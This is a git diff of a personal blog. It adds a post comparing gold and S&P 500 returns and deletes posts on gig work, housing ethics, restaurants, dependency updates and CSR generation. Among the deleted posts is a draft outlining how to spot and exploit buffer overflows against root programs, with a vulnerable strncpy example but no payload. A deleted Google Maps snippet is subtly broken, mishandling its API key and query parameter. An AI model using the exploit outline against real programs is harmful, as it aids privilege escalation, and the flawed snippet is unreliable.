Debt (I worked here) -- Centurian Asset Management -- Roynat (Royal Bank + National Bank Collaboration) - -### Commit Facility - -Money goes after preconditions. Cancellation clause for between signing and disbursement. - -### Demand facility - -You can call back the loan without the lender in default. Typically a lower coupon because of this stipulation. - -### Mezzanine Debt - -Can convert the debt to equity interest. - -### Purchase Price Allocation (PPA) - -> Purchase price allocation is an application of goodwill accounting whereby one company, when purchasing a second company, allocates the purchase price into various assets and liabilities acquired from the transaction - -### SOFR - -Secured Overnight Financing Rate. BASED ON OBSERVED U.S. TREASURY MARKET TRANSACTIONS. - -### LIBOR - -London Interbank Offered Rate. This rate isn't used anymore due to the [2012 rate-rigging scandal](https://en.wikipedia.org/wiki/Libor_scandal). It was only an ESTIMATION. - -### 4Cs of Credit - -- capacity - - how much throughput for the payments -- character - - trustworthiness, credit score, references, KYC -- collateral - - what is being offered in case of a default -- capital - - net worth diff --git a/content/posts/gigs-are-not-full-time-jobs.md b/content/posts/gigs-are-not-full-time-jobs.md deleted file mode 100644 index b9f273b73..000000000 --- a/content/posts/gigs-are-not-full-time-jobs.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Gigs Are Not Full Time Jobs" -date: 2024-06-26T19:30:21-04:00 -draft: false -tags: - - opinion -summary: "Argues that gig work is an income supplement, not a full-time job, critiquing guaranteed wages and proposing a cooperative model." ---- - -Gigs are income supplements - not full time jobs. A lot of people think gig workers should be guaranteed an hourly wage but that's equivalent to saying that contractors should be paid higher if they spend too much on labour. Gig workers are not employees and are volunteering their time to earn income that they otherwise would not earn. There's nothing wrong with the gig workers declining to work. That is within their right. For gig workers to be guaranteed a minimum wage, then the entire business model falls apart because at first, the customers are priced out of the service since most people are earning low skill wages. In response to a lack of demand, service providers pull out of the cities. Lastly, the workers willing to work under the initial structure no longer get supplement income or in the worst case, they have lost their only income stream. The end result is less commerce in the city and in the worst case, higher unemployment. - -These companies: Uber Eats, Grubhub, Postmates, Skip the dishes, Doordash are not employers. They are software service providers who connect customers to restaurants and delivery drivers. These gigs would simply not exist if these companies did not exist. By mandating that these companies pay the gig workers a minimum wage, the industry would not exist. There is no point in it, because the buyer would be paying the entire minimum wage per delivery. - -Gigs are not supposed to replace actual work. A gig economy cannot exist without people working real jobs to pay the gig workers. A gig economy in most cases is not circular and thus it makes no sense to be the ubiquitous way to earn money. - -The way I see it is that gig workers are a byproduct of failure in urban planning and public transportation. In terms of urban planning, there aren't enough commercial stores near the residential units, so food delivery services make sense. Especially during COVID-19 lock downs where going out was discouraged. - -Lastly, as a software developer, I will state the ideal situation. A cooperative service provider, where the connecting software is run at cost and the gig workers get all the supplier surplus compared to the present model where the service provider is eating the surplus of both the gig worker, the restaurants, and the customers. Take for example Uber Eats. Uber Eats takes a cut from the restaurants, charges service fees to customers, and takes a spread based on what they pay the driver. If these service providers aren't profitable, then the surplus is actually going straight to the driver. When people claim that these companies make no money, they are actually implying that the delivery drivers are taking the most of the surplus value. diff --git a/content/posts/gold-vs-sp500-returns/gold_10yr_rolling.png b/content/posts/gold-vs-sp500-returns/gold_10yr_rolling.png new file mode 100644 index 000000000..8856f4b1c Binary files /dev/null and b/content/posts/gold-vs-sp500-returns/gold_10yr_rolling.png differ diff --git a/content/posts/gold-vs-sp500-returns/gold_sp500_ratio_plot_35_years.png b/content/posts/gold-vs-sp500-returns/gold_sp500_ratio_plot_35_years.png new file mode 100644 index 000000000..8bff709b9 Binary files /dev/null and b/content/posts/gold-vs-sp500-returns/gold_sp500_ratio_plot_35_years.png differ diff --git a/content/posts/gold-vs-sp500-returns/gold_vs_sp500_plot.png b/content/posts/gold-vs-sp500-returns/gold_vs_sp500_plot.png new file mode 100644 index 000000000..bb734f67f Binary files /dev/null and b/content/posts/gold-vs-sp500-returns/gold_vs_sp500_plot.png differ diff --git a/content/posts/gold-vs-sp500-returns/index.md b/content/posts/gold-vs-sp500-returns/index.md new file mode 100644 index 000000000..9e260d2e9 --- /dev/null +++ b/content/posts/gold-vs-sp500-returns/index.md @@ -0,0 +1,122 @@ +--- +title: "Gold vs S&P500 Annualized Returns by Year Invested" +date: 2025-10-09T12:33:38-04:00 +draft: false +tags: + - finance + - economics + - investing +summary: "Gold hit $4,000 in October 2025. This is a comprehensive analysis comparing gold prices vs S&P 500 total returns for every month since 1975. I analyze the results and try to derive some insights on how gold can prove useful when there treasury bills are unable to provide expected risk-free real interest rates that are positive and significant." +--- + +Gold crossed $4,000 per troy ounce on October 7th. Given this milestone, I wanted to investigate the claim that gold is a better investment than the S&P500. When people usually share their charts showing Gold versus the S&P500 _index_, there are a few biases I've always noticed. Of course, the same day I started doing my analysis on this topic, CNBC puts out an article [gold vs. sp500 long term returns](https://www.cnbc.com/2025/10/08/gold-vs-sp500-returns.html). + +1. The most egregious bias in my opinion, is the investment year is cherry-picked (e.g. peak of the dot-com bubble in 2000), and along it comparing against NASDAQ instead of the S&P500. To account for this bias, I have charted the difference in returns for all years, and annualized them to make teh results more digestible, since total returns aren't comparable across years. +2. Another bias is that people will cherry pick years very long ago without accounting for executive order 6102 which prohibited owning gold from 1933 until the "International Development Association Appropriations Act of 1975" was passed, legalizing owning gold starting from January 1st, 1975. This bias is accounted for by restricting the time frame from January 1st, 1975 to the most recent data available for comparison (September 1st, 2025). +3. A third bias is comparing against the S&P500 index rather than teh S&P500 total return index which incorporates dividends reinvested. Big shout out to Robert Shiller for maintaining this dataset for us. + +End date: Sep-2025. + +![Gold Price to S&P 500 Total Return Price](./gold_vs_sp500_plot.png) + +Overall, since 1975, the S&P 500 manages to outperform gold on a y/y basis 70% of the time (note that this is based on investing at the start of the year). The cool thing about gold is that it has a Beta coefficient of around 0.5 (Yahoo, using GLD ETF as a proxy). + +After creating the initial plots which show the performance for the two different types of investments, I noticed that since 1997 to the present day (include the monster returns of 2024 and 2025), there are periods where an investment in gold - a zero-cashflow generating asset - would've outperformed the S&P500 - cash flow generating securities. After that there are periods where an investment in the S&P500 would've outperformed gold. This makes some sense once you factor in that gold is not correlated to S&P500. Once the market crashed and started going up in March 2009, due to the great financial crisis, there was opportunity to shift from gold into the market. + +If we use a 10-year window, the results are bit more different, suggesting that over the long-term the S&P500 will outperform gold. The periods where the S&P500 outperforms are taller and the dot-com bursts are deeper compared to the all time annualized performance, however even on a 10 year period the pre-1995 bull market provided excess returns over gold as well as the post-GFC bull market. These make it very clear that gold is not a buy always hold forever instrument but rather an instrument to bring into play when investors speculate that the risk-free real interest rates is lower than what they desire. + +![Gold vs S&P 500 Total Return Price 10 year window](./gold_10yr_rolling.png) + +There was definitely a year (2012) where you should've sold gold for bonds or stocks. The year is 2012 and inflation starts dipping below 2%. The Feds start cutting rates, however its clear that holding USD will provide a provide a positive enough risk-free real rate of return. So what happens to gold? It falls to its "fair value" and stays there since inflation is being tamed, as made clear with interest rates rising from 2016 to 2019. + +![Gold vs S&P 500 Performance](./gold_sp500_ratio_plot_35_years.png) + +The questions that arise after looking at the graphs are why is gold going up in 2024 and 2025, whether this is similar to 2012, how to avoid another dot-com bubble situation, and lastly, how do we know when the top is in regarding the business/debt cycle. + +## Analysis + +### Gold Surge in 2024 and 2025 + +As illustrated in the provided charts, the gold price rise seems to be a reflection of both the **declining confidence** in the Federal Reserve's ability to control inflation as well as its status as a safe haven asset. + +Gold is inversely correlated with the expected risk-free real interest rate. Gold is also seen as a safe-haven asset. Meaning that the real interest rate could be flat, but the existence of some fear, like tariffs, could cause mass buying of gold. What factors determine the expected risk-free real interest rate? + +- The expected inflation rate + - [increase in deficit](https://www.bnnbloomberg.ca/business/2025/08/20/us-budget-deficit-forecast-us1-trillion-higher-over-next-decade-watchdog-says/) + - Tariffs (import prices are higher) +- Treasury Yields (1yr or 10yr) + - The Feds Fund rate + +[Treasury yields and gold prices: breaking expectations (March 25, 2025)](https://www.spglobal.com/market-intelligence/en/news-insights/research/treasury-yields-and-gold-prices-breaking-expectations) + +If you look at the inflation data, the 1yr treasury bill yields, and the actual Feds Fund rates, a relationship can somewhat be determined between expected inflation, expected risk-free real interest rates, and thus gold prices. When the expected risk-free real interest rate falls, gold is viewed as the stronger store of value. This seems to be because treasuries get crowded out due to a [lag](https://www.bankofcanada.ca/2025/10/staff-analytical-note-2025-25/#Money-market-mutual-funds-have-experienced-high-growth) in people pulling money out of money market funds as interest rates get cut. The lag is 1yr. + +### Fisher's Equation and Real Interest Rates + +This concept of real interest rates comes from the [Fisher equation](/posts/bu-473-investment-management#interest-rates-and-inflation-rates). + + + +The "real risk-free required rate of return" varies by investor type. This is possibly due to differences in taxation. If all participants seek similar post-tax real rates of return, then where they are situated may affect how the bid on securities, and if the market is small enough, it may crowd out investors with higher marginal tax rates. + +- **Geographic Tax Advantages**: Institutions based in zero-tax jurisdictions could drive down pre-tax real returns for all market participants to match their own post-tax expectations. +- **Commodity Allocation**: institutions are less likely to be able to crowd out commodities like gold, thus it gives all investors ane better chance at pursuing investments that meet their desired risk-free real rates of return when treasury bills don't meet the bar. + +### Current Market Assessment + +**Gold Outlook** Based on the Gold Price to S&P 500 Total Return Price Ratio over the last 30 years, a gold price crash appears unlikely. + +**S&P 500 Valuation** (Chart 2): The TR CAPE excess yield metric suggests the S&P 500 is not currently in a speculative bubble. This metric compares the yield of the S&P 500 Total Return Cyclically Adjusted Price-to-Earnings (TR CAPE) ratio against the inflation-adjusted 10-year Treasury yield. + +The TR CAPE excess yield metric is the difference between the yield of the SP500 Total Return Cyclically Adjusted Price to Earnings (TR CAPE) ratio minus the 10-year Treasury yield adjusted for inflation. The implication is that when treasuries offer a better real return than the market, the market is definitely in a bubble since it would be be poised to underperform treasuries on a real basis for the next 10 years. That or it would require a long-term sustaining bubble. + +CAPE takes into account the business cycle and TR takes into account the various method of returning cash to shareholders (dividends, buybacks, etc) + +### Systemic Crashes + +The stock market crashing is systemic. There are multiple factors at play. + +- Business Cycles + - When a business cycle is going down, it is called a recession + - Employment data + - Employment ratios will go up and down just due to the nature of a business cycle + - The business cycle is what central banks are tasked at shortening, however it is not a solved problem + - Personally I think recessions are characterized based on the employment data because unemployment is the problem, not a fall in economic growth. If economic growth exists and people are unemployed, then there is still a crisis because people are struggling. + - Regardless, a traditional GDP based recession metric is clearly a follow up on a decrease in employment, where the recession becomes a reality if the loss in jobs is long-enough to cause a decrease in consumption, which would result in a decrease in earnings, which decreases stock prices + - Debt crisis + - A recession becomes a debt crisis when a lot of capital is tied to "never ending growth" + - A debt crisis occurs when a lot of capital is tied to being owed money from over-leveraged entities who can go under due to even the smallest of mishaps. In the GFC, the subprime mortgage instrument combined with over-leverage meant that a minor real estate correction would wipe out the Lehman Brothers, and of course a fall in employment is going to prevent real estate from continuing to go up. +- Black swan events (e.g. lockdowns) +- An increase in the possibility of a black swan event (e.g. COVID-19) +- Sharp rise in interest rates causing valuations to plummet due to a higher required rate of return + - In 2023, interest rates stopped rising. This in turn started a bull market due to risk-premiums being fixed. As interest rates were hiked in 2022, the market risk-premium necessitates that the required rate of return is higher. When the required rate of return rises without the stock market already having corrected, a rise in the required rate of return (based on expectations not just rate announcements), would immediately cause downward pressure on stocks. + +## Looking Forward + +I want to pursue live graphs that show a simple risk factor as to how likely forward earnings will miss expectations (and thus cause a systemic crash) barring external and black swan events. On top of that, because systemic crashes cause even good stocks to go down, there needs to be a super simple tool that can figure out which stocks were oversold. In a market crash, one of the reasons for asset sales is the lack of liquidity itself! Stock valuations aren't just a reflection of fundamentals but also of liquidity (supply & demand). Some factors that are interesting to me are: + +- inflation (to predict interest rate announcements, however bank analysts will probably do this themselves) +- jobs data (to predict and visualize where the economy is in the business cycle) +- risk-free interest rates (to know what the market's required rate of return is) + - the required rate of return is a combination of Beta, equity-risk premium, and the risk-free return. The equity risk-premium is not necessarily static, however it must be a positive number. My theory is that it depends on the various opportunity costs available at any point in time. As time goes forward and as investment innovations increase, equity-risk premiums should be rising, however they can fluctuate due to government policies providing or removing incentives for certain industries and sectors. We must also be aware that the equity risk premium is affected by investable wealth. Meaning that the larger the security in terms of market capitalization, the lower the equity risk premium is to compensate for the fact that more capital to invest also means less available investments. +- 10 year treasury prices and yield versus gold (specifically for analyzing periods of distress) + +## Historical Perspectives on Market Valuations + +Several prominent economists have warned about speculative bubbles and irrational market behavior: + +**Alan Greenspan** (December 5, 1996, "The Challenge of Central Banking in a Democratic Society"): +> "Sustained low inflation implies less uncertainty about the future, and lower risk premiums imply higher prices of stocks and other earning assets... But how do we know when irrational exuberance has unduly escalated asset values, which then become subject to unexpected and prolonged contractions as they have in Japan over the past decade?" + +**Franco Modigliani**, Nobel Laureate (March 30, 2000, New York Times): +> "The expectation of growth produces the growth, which confirms the expectation; people will buy it because it went up. But once you are convinced that it is not growing anymore, nobody wants to hold a stock because it is overvalued." + +**Robert Shiller** (_Irrational Exuberance_, 2000): +> "Irrational exuberance is the psychological basis of a speculative bubble... news of price increases spurs investor enthusiasm, which spreads by psychological contagion from person to person... bringing in a larger and larger class of investors who, despite doubts about the real value of an investment, are drawn to it partly by envy of others' successes and partly through a gamblers' excitement." + +## Reproducing Results + +- [Gold Prices from Macrotrends](https://www.macrotrends.net/1333/historical-gold-prices-100-year-chart) +- [S&P Total Price Return from Shiller Data](https://shillerdata.com/) (ie_data.xls) + +The Pythons script for producing the results can be found in my [python-finance-library](https://github.com/elibroftw/python-finance-library/blob/master/src/gold.py) diff --git a/content/posts/good-food.md b/content/posts/good-food.md deleted file mode 100644 index 6cc5610b2..000000000 --- a/content/posts/good-food.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: "Good Food" -date: 2022-08-23T21:36:50-04:00 -hidden: true -tags: - - opinion - - review -summary: "Dishes and restaurants I would eat again." ---- - -This is a list of good food I would not mind eating again. -If a restaurant is not here, either I didn't like the food and didn't have a good experience -or I've never been. Comment if you'd like a food review. I have extremely niche needs -when it comes to food. - -## Cooking - -My breakfast on days I feel like cooking is two scrambled eggs, two hash browns, and bacon bits. -I find bacon bits easier to enjoy since the egg, hash browns, and bacon are in equal proportions -for every bite you take. I consider this breakfast *heavy* meaning that I don't have to eat lunch. - -## Fast Food - -### Right Wingers - -For now I really liked the Shawarma Specialty Pizza. - -The wings also provide good value but I found the sauces lacking. - -### Wendy's - -1. The Honey BBQ chicken tenders combo with the frosty swapped for the drink is the perfect meal. C$12.39 plus tax; $14 in Ontario. -2. Bacon deluxe burger is the perfect burger - -### Pita Halal - -I recommend both the beef and chicken shawarma poutine. I recommend dining in because otherwise the fries get soggy. Also they provide these fancy ceramic bowls to eat the poutine in. I don't like their wraps much. - -### Osmow's - -Recently stepped up their game when it comes to chicken shawarma wraps (C$10.95). I find that the chicken quality depends on the location. - -## Burger King - -1. Chicken Jr -2. Whopper Jr -3. Whopper - -Fries are okay sometimes. - -### Costco - -Hot dog, no sauce + soda. This is such a value meal, you could -get two hot dogs if you want to have this for dinner or lunch. One is nothing -but a snack. - -### Harvey's - -I went to Harvey's twice in the last month and enjoyed the Chicken Bacon Ranch poutine (regular). -Optionally get a drink. Total cost is $10.17 including tax and drink. If you bring your own -drink, you can reduce your expense. - -### Dairy Queen (DQ) - -An underrated franchise. The 4pc chicken strip basket (comes with fries and as side sauce) is pretty good -and doesn't feel oily like burgers and other fries do. - -### Zesty Pita - -I was craving beef on rice instead of fries and this place delivered. I feel that rice may be healthier than fries -so will try eating these mixes with a rice base instead of a fries base. The food here was more expensive than Pita Halal -but I liked it either way. The beef tasted slightly like mutton. - -### Dave's Hot Chicken - -The best fried chicken I've had so far.u - -## Dine-in or Take Out Restaurants - -### Chawla's Cuisine - -[Brampton, Ontario](https://www.chawlascuisine.com/menus) - -Best food I've had in my life. - -My family recently had a get together at our house and we ordered food from this place. Appetizers were -gobi 65, tandoori chicken. Dinner was butter chicken and a vegetarian dish (possibly vegetarian kofta). - -- Chicken tikka masala -- Butter chicken -- Szhezuan chow mein - -The tandoori chicken actually tasted the same as it does in India which was incredible. - -### Cheers Restaurant - -[Welland, Ontario](www.cheerswelland.com) - -Best fish and chips. The first time they had perch and it was made extremely well. -The second time, even though they didn't have perch, the food was still delicious. - -### Piper Arms Pub - -Waterloo, Ontario - -The best restaurant I've ever eaten at. Your $20-40 is well spent at this place. You really get -what you pay for. I suggest getting 7-up as the drink as its topless. I think they have diet pepsi, -but I rarely drink 7-up in general. - -For lunch, I've eaten the Fish & Chips as well as the burger. I don't recommend the burger as it's equivalent to -two meals. The patty is just too big for me and I got acne the next day. If you're a big guy, then by all means, -you will also enjoy it without the acne. The fish and chips did cause me to go to the washroom half an hour later, however -that could've just been pure coincidence. - -For dinner, my first time there, I got the half rack of ribs and half pound of wings. It came with fries too. This -dinner was delicious, I was surprised I was able to finish most of it. I think it was only two wings and some -fries that I could'nt finish which is understandable since I wasn't hungry when I went there. I got the Caesar garlic -parmesan for the wings seasoning/sauce which is rare. - -### Famoso Neapolitan Pizzeria - -Waterloo, Ontario - -I went here with a friend and their pasta with the meatballs did not disappoint me. I had water for the drink. -The seating was awkward thought, we were at a table in the middle of the restaurant a meter or two away from the entrance -to their outdoor dining. This is just a me thing, as I don't like people sitting towards my back. This is a place I'd take -a girl out for dinner or a come with a friend, not a place I'd go alone. It's more classic and simple than the Piper Arms Place, -although I'd want to try their pizza out next time. So I guess, it's not a first date location after all. - -### Beertown Public House - -- BT Brisket - - Big portioning - - If you leave the fat for last, don't eat it -- Raspberry Sorbet - - For $6 + tax, you get a dessert than you can savour and that won't leave you feeling sick the way ice cream does. - -### Easy on Fourth - -Love the variety, vibrance is top class, and food tastes amazing. - -### Touhenboku Ramen - -The duck ramen is amazing. diff --git a/content/posts/google-maps-search-and-get-coordinates.md b/content/posts/google-maps-search-and-get-coordinates.md deleted file mode 100644 index 6594606c6..000000000 --- a/content/posts/google-maps-search-and-get-coordinates.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: "Google Maps Search and Get Coordinates" -date: 2023-10-02T18:10:33-04:00 -draft: true -tags: - - tutorial -summary: TODO ---- - -When reading the documentation for Google Maps Places autocomplete, under "optimizations", Google recommends using their geocode service instead of [Text Search](https://developers.google.com/maps/documentation/places/web-service/search-text) if you want to get the coordinates of the place. - -In their own example on that page, Google is using the autocomplete API to search for locations, when all I needed was the place search API, specifically text search. - -```js -const GOOGLE_MAPS_BASE = 'https://maps.googleapis.com/maps/api'; -const GOOGLE_MAPS_API_KEY = 'https://console.cloud.google.com/apis/credentials'; - -// example code, remember to add error handling for your code -async function searchAndGetCoordExample() { - const results = await placeSearch('Fiera Capital Toronto'); - const coordinates = [results[0].geometry.location.lat, results[0].geometry.location.lng]; -} - -export async function placeSearch({ query, language = 'en', limit = 10, lat, lon } = {}) { - /* - https://developers.google.com/maps/documentation/places/web-service/search-text - */ - const locationParam = (lat !== undefined && lon !== undefined) ? `&location=${lat},${lon}` : ''; - - const params = new URLSearchParams({ - query, - language, - key: GOOGLE_MAPS_API_KEY, - }); - - return await fetchTimeout(`${GOOGLE_MAPS_BASE}/place/textsearch/json?input=${params.toString()}${locationParam}&key=${GOOGLE_MAPS_API_KEY}`).then(r => r.json()); -} - -async function fetchTimeout(resource, options = {}) { - // set timeout to 8 seconds from 300 seconds - // throws Timeout error (error.name === 'AbortError') - const { timeout = 8000 } = options; - options.headers = { 'User-Agent': 'MyApp', ...options.headers } - const controller = new AbortController(); - const id = setTimeout(() => controller.abort(), timeout); - const response = await fetch(resource, { - ...options, - signal: controller.signal - }); - clearTimeout(id); - return response; -} -``` diff --git a/content/posts/housing-market-rent-seeking-unethical.md b/content/posts/housing-market-rent-seeking-unethical.md deleted file mode 100644 index 67bd9534b..000000000 --- a/content/posts/housing-market-rent-seeking-unethical.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: "Housing Market Rent-Seeking is Unethical" -date: 2022-11-21T16:36:44-05:00 -draft: false -tags: - - canada - - politics - - opinion -hidden: true -summary: "Land lording for excess profits is unethical, however its a distraction from NIMBYism, high immigration, and high taxes on housing developments which make it so that land lords become rent-seekers rather than productive investors" ---- - -Note: I give up on the rent-seeking portion of the housing discussion and care more about supply-side policies like developer charges - -Buying houses (living spaces) for the purpose of financial gain is unethical, _at least when there is a housing shortage_, like in Ontario. In order to answer why is it unethical I'll lay out some steps. - -Unethical behavior is behaviour that is a deviation away from morally correct action and towards morally incorrect action. What has morality got to do with buying or owning investment properties during a housing shortage? - -Housing exists to house people. People need shelter to live, breathe, and rest. It is a human principle to have full rights (ownership) of a space or to be compensated in lieu of such space. If this concept isn't accepted, then I don't know what to say except that it is victim blaming **all** homeless people. - -I will improve the reasoning behind this fundamental concept in the future. - -## Morality of Market Rent Price - -Before governments were incorporated, private property only existed as long as the owner could defend it. Unfair property distribution for regions almost always resulted from physical prowess (human strength, to tribe strength, to militia strength). Is it moral to use physical strength to acquire more resources by taking it away from other humans who are minding their own business? No it isn't. Colonization is immoral. - -If we are to believe that all humans have equal human rights, then as a society, the society must strive to give each person food and land/space to survive. This does not mean that one must give their own resources for survival away. Morally speaking, taking away resources from someone with extra resources for the sake of surviving is not immoral, or at least that's my take on it. If you were homeless and there was no food bank, no free food, and no one gave you food when you asked for it, then you would resort to stealing for survival. You simply cannot expect people to die or live a terrible lifestyle unless they somehow deserved it especially if there is a surplus of resources anywhere or with anyone. -That is, if there's three people in total on an island and the island produced 3 apples a day and one of them decided to take all three applies and charge the other two work harder than picking an apple from the tree, their apples are going to get stolen unless they are willing to defend it physically. The hoarder is immoral in this case, so now we will apply the same logic to land since land or more specifically living space is also part of being human. So if you were to charge a human for taking up space, it should be reasonable. A reasonable price is not market price. If the work done was picking up an apple, the reasonable price is digging a hole for however many seconds it took to get the apple. The market price though could be creating a brick. Wealth in generated by trading time for output. When time is not being traded, what's occurring is a wealth transfer. Like this apple example, it is simply unethical to charge market rent prices. Just because renters are willing to bid their lives on it, doesn't mean that it is right for them to have to pay that much. - -## Morality of Housing Market Investing - -Now then, moving onto purchasing or owning non-primary residence housing itself. -Is there a shortage of shelter in Canada? Arguably yes. Is there a shortage of land? Not in terms of raw land, but land to develop on legally is scarce, expensive, and causes a shortage of shelter. -So why is it unethical to own an investment property even if rent was charged fairly? Well either the unit was made for land lords - for the purpose of short-term renting - or it was made for primary residences. - -### Short-term Residents Market Failure - -If it was made for short-term residents and land lords, we should ask the question why are there short-term residents anyways. I can only think of post-secondary students. Is education something important to society? If so, then the government should ensure that there's enough rental accomodations and not assume that the free market will take care of it. If post-secondary education isn't important to the society; as in we believe people getting an education instead of working immediately shouldn't be helped out at all, then there is no reason for the government to subsidize universities either. I'm being facetious here. The truth of the matter is that university education is important but not enough is being done if a rebuttal to ethical land lords is "but no one would buy rental units." The question is how important and if people would not be on board to buy a property for the purpose of student housing, then it follows that supply would crumble due to market failure by ethical forces and the government or universities would be -forced to contract the building of units. This way would guarantee that students pay a fair rent and if not it would be considered a tax on education. - -Anyways, going back to the owning or bidding on properties with long-term tenants. Put simply. Even if rent is charged fairly, the simple act of owning or bidding pushes up the price to live due to the shortage. -The person who lost out on purchasing the property you own is not guaranteed to get a cheaper rent in lieu of it. The person who does get the cheaper rent does benefit, but the investor overpaid for the property. This means that no investor in the housing market is charging a reasonable rent (one that barely subsidizes the mortgage). So in almost no situation would a person who would only charge reasonable rent, overpay for a property, or **own one at all**. - -## ~~Owning is also Unethical~~ - -~~Owning a non-primary investment property even if rent is reasonable is also unethical. Mainly because if the property was listed for sale then the market would fall.~~ - -~~We know that land is artificially scarce and its causing a shortage of shelter. Let's call the demand for housing ownership for the purpose of living D1 and the supply of housing for the purpose of living S1. After adding the demand for housing ownership for the purposes of investing, we find that the market price has increased! All because of investors. Now I'm not saying that all developments are for the purposes of long-term residents, but I know for a fact that some tenants can afford rent but are not getting approved. So why is increasing the demand and price for rent unethical? Well if there's a housing shortage and demand for investing exists, then the people who could afford to buy the would be market price are priced out and any investor who is receiving a subsidized rent or isn't renting at all is taking forcing people to lose their wealth so that the land lords wealth increases. New wealth was created with the construction of the property, not with the transfer of the equity from the bank to the land lord. So using rent to help make those payments is nothing but a wealth transfer from the poor to the land lord. This demand is present even with a sales tax!~~ - -Some people do need to rent so land lording is required. Figuring out the reasonable rent is the real challenge and how much is too much is another challenge. - -### Policy Scenario - -So what to do about it? Well if we banned or completely dissuaded all land lording, there would be a market failure for people who want to work in the city. Businesses would either have to provide higher relocation costs or go somewhere else. A total immediate ban would completely cause chaos, so I advocate for a slower burn. Cities need to incentivize and reward taking up less space. The only way to do that as far as I can tell is to charge something similar to land value taxes. When more people start demanding condos, the loss in developer construction will come back and these units will then be bought by people who want to live there. - -I have thought abut it over and over and although it would be for the best, if profit making was banned from the housing market, the government would have a hard time providing housing for those starting their careers who won't get approved for a mortgage. Profit should be allowed to incentivize land lording but the questions that I still need to answer is how much profit is reasonable and what to do about people who want to live in suburbans, work in the city, and thus rent in the city? There is a mismatch of wants and results, one that I cannot think of how to fix without a complete redistribution of land. The only thing I can think of is the land value tax. - -## Conclusion - -In short, I'm sorry you had to read this all. It was a journey of me articulating what exactly is unethical and what can be done and it turns out not much. The reality is that some renters are renting in areas they don't even want to ideally live in which just takes away from those who do want to live in the city but have to rent too and thus developers focus more on rental units than condos. Then the property taxes are higher on those buildings than single family homes, and overall the situation is one that was created because of a refusal to go through with the wants. - -I guess all in all, although it is unethical, any policy would end up causing more harm than not. - -
-Aside: How much land per person? -In Canada if we split 9.985 million km^2 by 38.25 M, each person would receive -261,000 km^2. Now that is a lot of land simply to live, and an ideal amount of space is subjective. If we assume that in an ideal population each person has two kids, then we can use the average square feet a family of four uses to get -the number of square feet a person needs to live. According ot [realtor.ca](https://www.realtor.ca/map#view=list&Sort=6-D&PropertyTypeGroupID=1&PropertySearchTypeId=1&TransactionTypeId=2&BedRange=4-0&BathRange=4-0&OwnershipTypeGroupId=2&Currency=CAD), these homes are 1600 - 5000 SQFT. Let's be conservative in our calculations and so we get 1,250 SQFT / person to live without compromise. -
diff --git a/content/posts/how-often-should-you-update-dependencies.md b/content/posts/how-often-should-you-update-dependencies.md deleted file mode 100644 index 68237d969..000000000 --- a/content/posts/how-often-should-you-update-dependencies.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: "How Often Should You Update Dependencies?" -date: 2024-02-05T21:57:41-05:00 -draft: false -tags: - - programming - - opinion -summary: "Argues for weekly dependency updates and outlines an iterative process for updating crucial feature dependencies, including reading changelogs, fixing bugs, and testing." ---- - -Every time you start working on a project, you should update your dependencies (weekly). - -### Iterative Dependency Approach - -For each crucial feature dependency (e.g. react-native), some library maintained by an amateur, a feature your software really depends on → Read dependency changelog → update dependency to next version → compile → fix compilation bugs → compile → integration test → fix runtime bugs → REPEAT diff --git a/content/posts/how-to-buffer-overfow-on-64-bit-little-endian-machines.md b/content/posts/how-to-buffer-overfow-on-64-bit-little-endian-machines.md deleted file mode 100644 index e2be6c585..000000000 --- a/content/posts/how-to-buffer-overfow-on-64-bit-little-endian-machines.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: "How to Buffer Overflow on 64-Bit Little Endian Machines" -date: 2024-02-06T12:18:51-05:00 -draft: true -summary: TODO ---- - -I'm taking a security course the lesson on buffer overflows referenced "Smashing the Stack" which was for 32-bit and made some broad assumption and spent a lot of time running in circles instead of actually giving details on how to exploit it. So here I am to give a straightforward, no bullshit lesson. - -## Protections do Exist - -If the goal of the buffer overflow is to execute custom code, well too bad, the stack is usually not executable. To execute custom code on the stack, the program itself has to be compiled with flags that explicitly allows stack execution. - -## Spotting Buffer Overflows - -How do you spot a buffer overflow? Well we are looking for situations where the memory being written is larger than the destination size. Since the stack grows with lower memory addresses, and buffers grows with higher memory addresses, a buffer overflow, allows overwriting memory above the stack (variables defined before, and most importantly, the return address). The following functions copy the entirety of src and so might make an incorrect assumption that the src size is less than or equal to the buffer. - -- strcpy -- strcat -- sprintf -- memcpy - -WIth the "n" variants of these functions, the thinking is a bit different. Although the size being copied is limited, we should check that the count is equal to the remaining count in the buffer In other words, check whether this equation holds: `copy count + length of buffer before copy - buffer size = 0.` - -```c -char buffer[1024] -strcpy(buffer, "four"); // buffer length is 4 now - -// vulnerable since 1024 is more than the remaining space in the buffer -strncpy(buffer, "user input", 1024); -``` - -## Writing The exploit - -1. On 64-bit systems with little endian, we need to write addresses and code in reverse order. -2. The goal of the buffer overflow is usually to exploit a program that already has root permissions. Shell code will be provided. -3. We need to find the address of where our shell code will be written to. We an use gdb for this. diff --git a/content/posts/how-to-generate-csr.md b/content/posts/how-to-generate-csr.md deleted file mode 100644 index 40df057bc..000000000 --- a/content/posts/how-to-generate-csr.md +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: "How to Generate a CSR Using openssl" -date: 2022-01-25T13:14:03-05:00 -draft: false -tags: - - tutorial - - devops -summary: "This tutorial provides a succinct guide on generating a Certificate Signing Request (CSR) using `openssl`. It covers generating a private key, creating a CSR configuration file, generating the CSR itself, and reading the CSR content." ---- - -```sh -openssl req -newkey rsa:4096 -keyout elijahlopez.ca.key -out elijahlopez.ca.csr -config .\elijahlopez.ca.csr.conf -``` - -```powershell -& 'C:\Program Files\Git\usr\bin\openssl.exe' req -newkey rsa:4096 -keyout elijahlopez.ca.key -out elijahlopez.ca.csr -config .\elijahlopez.ca.csr.conf -``` - -Here is a pretty and succinct guide on creating a Certificate Signing Request (CSR). - -For the tutorial, replace all `{ Sample value }` with your values. - -## Instructions - -### Generating a Key - -This avoids entering passphrases when generating the CSR. - -`openssl genpkey -algorithm ed25519 > { lenerva.com }.key` - -The filename for me is *`lenerva.com`*`.key`. - -### Create a CSR Config File - -Do this once and reuse forever. - -Filename: `{ lenerva.com }.csr.cnf` - -```conf -[ req ] -prompt = no -distinguished_name = req_distinguised_name -[ req_distinguised_name ] -countryName = { CA } -stateOrProvinceName = { Ontario } -localityName = { Toronto } -organizationName = { LeNerva 